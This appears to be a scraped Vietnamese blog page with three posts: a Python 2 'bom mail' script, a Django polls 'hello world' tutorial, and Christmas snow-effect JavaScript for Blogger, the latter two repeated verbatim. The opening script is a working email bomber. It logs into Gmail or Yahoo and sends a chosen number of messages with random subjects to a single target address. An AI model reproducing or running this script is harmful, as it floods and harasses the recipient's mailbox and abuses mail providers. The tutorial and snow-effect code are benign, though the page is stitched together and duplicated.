- # code bom mail by Kevin Kien
- import os
- import smtplib
- import sys
- server = raw_input ('Server Mail: ')
- user = raw_input('Username: ')
- passwd = raw_input('Password: ')
- to = raw_input('To: ')
- subject = raw_input('Subject: ')
- body = raw_input('Message: ')
- total = input('Number of send: ')
- if server == 'gmail':
- smtp_server = 'smtp.gmail.com'
- port = 587
- elif server == 'yahoo':
- smtp_server = 'smtp.mail.yahoo.com'
- port = 25
- else:
- print 'Applies only to gmail and yahoo.'
- sys.exit()
- print ''
- try:
- server = smtplib.SMTP(smtp_server,port)
- if smtp_server == "smtp.gmail.com":
- server.starttls()
- server.login(user,passwd)
- for i in range(1, total+1):
- subject = os.urandom(9)
- msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
- server.sendmail(user,to,msg)
- print "\rTotal emails sent: %i" % i
- sys.stdout.flush()
- server.quit()
- print '\n Done !!!'
- except KeyboardInterrupt:
- print '[-] Canceled'
- sys.exit()
- except smtplib.SMTPAuthenticationError:
- print '\n[!] The username or password you entered is incorrect.'
- sys.exit()
code mail pythom
Create project Django helloword
b1: tao file project:
virtual --no-site-packages ten
b2: source /thu muc chua project/bin/activate
b3: install Django
easy_install Django
b4: cd /bin
b5: django-admin.py startproject ten project
de chay thu : python manager.py runserver
tao db: python manager.py syncdb . dien user va pass de login vao trang admin
chinh sua file setup.py:
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': '/home/kevinkien/Desktop/django/bin/polls/db.sqlite3',
'USER': 'root',
'PASSWORD': '',
'HOST': '127.0.0.1',
}
}
Mo file model.py va them code:
from django.db import models
# Create your models here.
class Poll(models.Model):
question = models.CharField(max_length=200)
pub_date = models.DateTimeField('data published')
class Choice(models.Model):
poll = models.ForeignKey(Poll)
choice_text = models.CharField(max_length=200)
votes = models.IntegerField(default=0)
Sua file admin.py de co the thay duoc Poll, Choice
from django.contrib import admin
from polls.models import Poll, Choice
admin.site.register(Poll)
admin.site.register(Choice)
Tiep theo de hien thi dong helloword, mo file view.py :
from django.http import HttpResponse
def index(request):
return HttpResponse("Hello, world. You're at the poll index.")
Tao 1 file urls.py va them noi dung:
from django.conf.urls import patterns, url
from poll import views
urlpatterns = patterns('',
url(r'^view_1/$', views.index, name='index'),
)
sua file urls.py o polls: from django.conf.urls import patterns, include, url
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
url(r'^poll/', include('polls.urls')),
url(r'^admin/', include(admin.site.urls)),
)
Bay gio ban chay python manager.py runserver: vao trang 127.0.0.1/poll/view_1
virtual --no-site-packages ten
b2: source /thu muc chua project/bin/activate
b3: install Django
easy_install Django
b4: cd /bin
b5: django-admin.py startproject ten project
de chay thu : python manager.py runserver
tao db: python manager.py syncdb . dien user va pass de login vao trang admin
chinh sua file setup.py:
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': '/home/kevinkien/Desktop/django/bin/polls/db.sqlite3',
'USER': 'root',
'PASSWORD': '',
'HOST': '127.0.0.1',
}
}
Mo file model.py va them code:
from django.db import models
# Create your models here.
class Poll(models.Model):
question = models.CharField(max_length=200)
pub_date = models.DateTimeField('data published')
class Choice(models.Model):
poll = models.ForeignKey(Poll)
choice_text = models.CharField(max_length=200)
votes = models.IntegerField(default=0)
Sua file admin.py de co the thay duoc Poll, Choice
from django.contrib import admin
from polls.models import Poll, Choice
admin.site.register(Poll)
admin.site.register(Choice)
Tiep theo de hien thi dong helloword, mo file view.py :
from django.http import HttpResponse
def index(request):
return HttpResponse("Hello, world. You're at the poll index.")
Tao 1 file urls.py va them noi dung:
from django.conf.urls import patterns, url
from poll import views
urlpatterns = patterns('',
url(r'^view_1/$', views.index, name='index'),
)
sua file urls.py o polls: from django.conf.urls import patterns, include, url
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
url(r'^poll/', include('polls.urls')),
url(r'^admin/', include(admin.site.urls)),
)
Bay gio ban chay python manager.py runserver: vao trang 127.0.0.1/poll/view_1
Them hieu ứng noel cho website
Hiệu ứng noel hay cây thông:
<script type='text/javascript'>
//<![CDATA[
document.write('<style type="text/css">body{background:#f5465a;padding-bottom:150px}
</style>
<img style="position:fixed;z-index:9999;top:0;left:0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjH174nnqp_UMRimoOtoU9sFg34K_yER3RGns5NRdRAlC5O_Do1DsoPwHmUazPaQN-QIg0W1OBd_WVd7Hd3MndpNqVabN0drEBzDq4ctG9iX3Z6wt5OdvF_LZ7OhiAvcrims29-SVVJZ-8/s150/top-left.png"/>
<img style="position:fixed;z-index:9999;top:0;right:0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgL_dd4fTFlUTR2OUlPstaTIsuBve48UcUmdJilbhdALQaGRMReLyr384k5CX-iuM85zTfij3uNZA_0Cv-hrve7VOiMX2tf2jdylCq1lZzGrIkTMf1lqCaEh9MG94J2JWtnLvjB7O2EPB0/s150/top-right.png"/>
<div style="position:fixed;z-index:9999;bottom:0;left:0;width:100%;height:104px;background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinVioetFGFLd9ktDSx2wB7GRwsb7EIVo9zctHtgx-inWwSHaSSjBF0bOPdc00F0pd_jLe5XKUkox2hgB84LC3E2Jh5WlYaW79NQH-SJCvB4QrqCLz4tRwlZUIKM2U5Yq4xQBLVAgohjJg/s1600/footer.png)
repeat-x bottom left;">
</div>
<img style="position:fixed;z-index:9999;bottom:30px;left:30px" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkrAbLb5HW4oOFiFqHSnzvMAU8bnnHBq4MIdjEnHiVGlSurlroVqKzMh7dF9qHr14WbLmeaP5v4hYrymcSwER10LCvMtdCltSjUPSOPR4L6T81yILjapWZiXRUv8MH0lSK1_29_AgFHO4/s180/bottom-left.png"/>');
var no=100;var hidesnowtime=0;
var snowdistance='pageheight';
var ie4up=(document.all)?1:0;
var ns6up=(document.getElementById&&!document.all)?1:0;
function iecompattest(){return(document.compatMode&&document.compatMode!='BackCompat')?document.documentElement:document.body}
var dx,xp,yp;var am,stx,sty;var i,doc_width=800,doc_height=600;if(ns6up){doc_width=self.innerWidth;doc_height=self.innerHeight}
else
if(ie4up){doc_width=iecompattest().clientWidth;doc_height=iecompattest().clientHeight}dx=new Array();xp=new Array();yp=new Array();am=new Array();stx=new Array();sty=new Array();for(i=0;i<no;++i){dx[i]=0;xp[i]=Math.random()*(doc_width-50);
yp[i]=Math.random()*doc_height;
am[i]=Math.random()*20;
stx[i]=0.02+Math.random()/10;
sty[i]=0.7+Math.random();
if(ie4up||ns6up){document.write('<div id="dot'+i+'" style="POSITION:absolute;Z-INDEX:'+i+';VISIBILITY:visible;TOP:15px;LEFT:15px;">
<span style="font-size:18px;color:#fff">*</span><\/div>')}}function snowIE_NS6(){doc_width=ns6up?window.innerWidth-10:iecompattest().clientWidth-10;
doc_height=(window.innerHeight&&snowdistance=='windowheight')?window.innerHeight:(ie4up&&snowdistance=='windowheight')?iecompattest().clientHeight:(ie4up&&!window.opera&&snowdistance=='pageheight')?iecompattest().scrollHeight:iecompattest().offsetHeight;
for(i=0;i<no;++i){yp[i]+=sty[i];
if(yp[i]>doc_height-50){xp[i]=Math.random()*(doc_width-am[i]-30);yp[i]=0;stx[i]=0.02+Math.random()/10;sty[i]=0.7+Math.random()}dx[i]+=stx[i];
document.getElementById('dot'+i).style.top=yp[i]+'px';
document.getElementById('dot'+i).style.left=xp[i]+am[i]*Math.sin(dx[i])+'px'}snowtimer=setTimeout('snowIE_NS6()',10)}
function hidesnow(){if(window.snowtimer){clearTimeout(snowtimer)}for(i=0;i<no;i++)document.getElementById('dot'+i).style.visibility='hidden'}
if(ie4up||ns6up){snowIE_NS6();
if(hidesnowtime>0)setTimeout('hidesnow()',hidesnowtime*1000)}
//]]>
</script>
Thêm ông già Noel vào Blog
Mùa giáng sinh mà có ông già Noel cưỡi tuần lộc chạy tới chạy lui thì không có gì thú vị bằng. Hiệu ứng này rất cơ bản chỉ cần chèn đoạn code này trước thẻ <body> là được
http://pastebin.com/raw.php?i=gxVzKJTA
Trong đoạn trên nếu muốn thay cái ảnh Ông già Noel khác thì chỉ cần thay link ảnh thôi. Cụ thể là thay http://lh6.ggpht.com/…/V3nQtexRIIk/ghost_thumb.gif bằng ảnh bạn thích
Thêm hiệu ứng hoa tuyết bay lả tả
Tuyết là phần không thể thiếu nên việc thêm hiệu ứng này cũng đơn giản, bạn chỉ cần chèn thêm đoạn code này trước thẻ <body> là xong
http://pastebin.com/raw.php?i=wFsEMApP
Thêm giàn chuông độc đáo cho blog
Thủ thuật này được Viet Designer giới thiệu source của http://jacquiidesigns.com/. Nếu muốn tìm hiểu thêm thì đến trang gốc nhưng báo trước là việc làm khá lằng nhăng. Còn nếu muốn ăn ngay thì đọc tiếp đoạn sau đây.
Trước tiên thêm đoạn code này ngay trên thẻ </head>
http://pastebin.com/raw.php?i=ztstCgww
Rồi sau đó chèn đoạn code này ngay dưới thẻ <body>
http://pastebin.com/raw.php?i=8CjBC9Qy
<script type='text/javascript'>
//<![CDATA[
document.write('<style type="text/css">body{background:#f5465a;padding-bottom:150px}
</style>
<img style="position:fixed;z-index:9999;top:0;left:0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjH174nnqp_UMRimoOtoU9sFg34K_yER3RGns5NRdRAlC5O_Do1DsoPwHmUazPaQN-QIg0W1OBd_WVd7Hd3MndpNqVabN0drEBzDq4ctG9iX3Z6wt5OdvF_LZ7OhiAvcrims29-SVVJZ-8/s150/top-left.png"/>
<img style="position:fixed;z-index:9999;top:0;right:0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgL_dd4fTFlUTR2OUlPstaTIsuBve48UcUmdJilbhdALQaGRMReLyr384k5CX-iuM85zTfij3uNZA_0Cv-hrve7VOiMX2tf2jdylCq1lZzGrIkTMf1lqCaEh9MG94J2JWtnLvjB7O2EPB0/s150/top-right.png"/>
<div style="position:fixed;z-index:9999;bottom:0;left:0;width:100%;height:104px;background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinVioetFGFLd9ktDSx2wB7GRwsb7EIVo9zctHtgx-inWwSHaSSjBF0bOPdc00F0pd_jLe5XKUkox2hgB84LC3E2Jh5WlYaW79NQH-SJCvB4QrqCLz4tRwlZUIKM2U5Yq4xQBLVAgohjJg/s1600/footer.png)
repeat-x bottom left;">
</div>
<img style="position:fixed;z-index:9999;bottom:30px;left:30px" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkrAbLb5HW4oOFiFqHSnzvMAU8bnnHBq4MIdjEnHiVGlSurlroVqKzMh7dF9qHr14WbLmeaP5v4hYrymcSwER10LCvMtdCltSjUPSOPR4L6T81yILjapWZiXRUv8MH0lSK1_29_AgFHO4/s180/bottom-left.png"/>');
var no=100;var hidesnowtime=0;
var snowdistance='pageheight';
var ie4up=(document.all)?1:0;
var ns6up=(document.getElementById&&!document.all)?1:0;
function iecompattest(){return(document.compatMode&&document.compatMode!='BackCompat')?document.documentElement:document.body}
var dx,xp,yp;var am,stx,sty;var i,doc_width=800,doc_height=600;if(ns6up){doc_width=self.innerWidth;doc_height=self.innerHeight}
else
if(ie4up){doc_width=iecompattest().clientWidth;doc_height=iecompattest().clientHeight}dx=new Array();xp=new Array();yp=new Array();am=new Array();stx=new Array();sty=new Array();for(i=0;i<no;++i){dx[i]=0;xp[i]=Math.random()*(doc_width-50);
yp[i]=Math.random()*doc_height;
am[i]=Math.random()*20;
stx[i]=0.02+Math.random()/10;
sty[i]=0.7+Math.random();
if(ie4up||ns6up){document.write('<div id="dot'+i+'" style="POSITION:absolute;Z-INDEX:'+i+';VISIBILITY:visible;TOP:15px;LEFT:15px;">
<span style="font-size:18px;color:#fff">*</span><\/div>')}}function snowIE_NS6(){doc_width=ns6up?window.innerWidth-10:iecompattest().clientWidth-10;
doc_height=(window.innerHeight&&snowdistance=='windowheight')?window.innerHeight:(ie4up&&snowdistance=='windowheight')?iecompattest().clientHeight:(ie4up&&!window.opera&&snowdistance=='pageheight')?iecompattest().scrollHeight:iecompattest().offsetHeight;
for(i=0;i<no;++i){yp[i]+=sty[i];
if(yp[i]>doc_height-50){xp[i]=Math.random()*(doc_width-am[i]-30);yp[i]=0;stx[i]=0.02+Math.random()/10;sty[i]=0.7+Math.random()}dx[i]+=stx[i];
document.getElementById('dot'+i).style.top=yp[i]+'px';
document.getElementById('dot'+i).style.left=xp[i]+am[i]*Math.sin(dx[i])+'px'}snowtimer=setTimeout('snowIE_NS6()',10)}
function hidesnow(){if(window.snowtimer){clearTimeout(snowtimer)}for(i=0;i<no;i++)document.getElementById('dot'+i).style.visibility='hidden'}
if(ie4up||ns6up){snowIE_NS6();
if(hidesnowtime>0)setTimeout('hidesnow()',hidesnowtime*1000)}
//]]>
</script>
Thêm ông già Noel vào Blog
Mùa giáng sinh mà có ông già Noel cưỡi tuần lộc chạy tới chạy lui thì không có gì thú vị bằng. Hiệu ứng này rất cơ bản chỉ cần chèn đoạn code này trước thẻ <body> là được
http://pastebin.com/raw.php?i=gxVzKJTA
Trong đoạn trên nếu muốn thay cái ảnh Ông già Noel khác thì chỉ cần thay link ảnh thôi. Cụ thể là thay http://lh6.ggpht.com/…/V3nQtexRIIk/ghost_thumb.gif bằng ảnh bạn thích
Thêm hiệu ứng hoa tuyết bay lả tả
Tuyết là phần không thể thiếu nên việc thêm hiệu ứng này cũng đơn giản, bạn chỉ cần chèn thêm đoạn code này trước thẻ <body> là xong
http://pastebin.com/raw.php?i=wFsEMApP
Thêm giàn chuông độc đáo cho blog
Thủ thuật này được Viet Designer giới thiệu source của http://jacquiidesigns.com/. Nếu muốn tìm hiểu thêm thì đến trang gốc nhưng báo trước là việc làm khá lằng nhăng. Còn nếu muốn ăn ngay thì đọc tiếp đoạn sau đây.
Trước tiên thêm đoạn code này ngay trên thẻ </head>
http://pastebin.com/raw.php?i=ztstCgww
Rồi sau đó chèn đoạn code này ngay dưới thẻ <body>
http://pastebin.com/raw.php?i=8CjBC9Qy
Subscribe to:
Posts (Atom)